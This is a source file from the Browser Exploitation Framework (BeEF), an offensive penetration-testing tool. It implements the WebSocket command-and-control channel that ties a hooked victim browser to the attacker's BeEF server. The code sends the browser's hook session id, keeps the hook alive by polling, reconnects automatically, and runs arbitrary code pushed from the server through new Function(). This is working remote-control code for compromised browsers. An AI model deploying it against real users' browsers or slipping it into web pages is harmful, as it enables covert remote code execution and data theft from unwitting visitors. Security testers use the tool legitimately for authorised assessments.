# Source: websocket.js

    //
    // Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - http://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //

    /**
     * Manage the WebSocket communication channel.
     * This channel is much faster and responsive, and it's used automatically
     * if the browser supports WebSockets AND beef.http.websocket.enable = true.
     * @namespace beef.websocket
     */

    beef.websocket = {

        socket:null,
        ws_poll_timeout: "<%= @ws_poll_timeout %>",
        ws_connect_timeout: "<%= @ws_connect_timeout %>",

        /**
         * Initialize the WebSocket client object.
         * Note: use WebSocketSecure only if the hooked origin is under https.
         * Mixed-content in WS is quite different from a non-WS context.
         */
        init:function () {
            var webSocketServer = beef.net.host;
            var webSocketPort = "<%= @websocket_port %>";
            var webSocketSecure = "<%= @websocket_secure %>";
            var protocol = "ws://";

            if(webSocketSecure && window.location.protocol=="https:"){
                protocol = "wss://";
                webSocketPort= "<%= @websocket_sec_port %>";
            }

            if (beef.browser.isFF() && !!window.MozWebSocket) {
                beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
            }else{
                beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
            }

        },

        /**
         * Send Helo message to the BeEF server and start async polling.
         */
        start:function () {
            new beef.websocket.init();
            this.socket.onopen = function () {
                beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
                beef.websocket.alive();
            };

            this.socket.onmessage = function (message) {
                // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
                // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
                // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
                new Function(message.data)();
            };

            this.socket.onclose = function () {
                setTimeout(function(){beef.websocket.start()}, 5000);
            };
        },

        /**
         * Send data back to BeEF. This is basically the same as beef.net.send,
         * but doesn't queue commands.
         * Example usage:
         * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
         * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
         * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
         */
        send:function (data) {
            try {
                this.socket.send(data);
            }catch(err){}
        },

        /**
         * Polling mechanism, to notify the BeEF server that the browser is still hooked,
         * and the WebSocket channel still alive.
         * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
         */
        alive: function (){
            beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
            setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
        }
    };

    beef.regCmp('beef.websocket');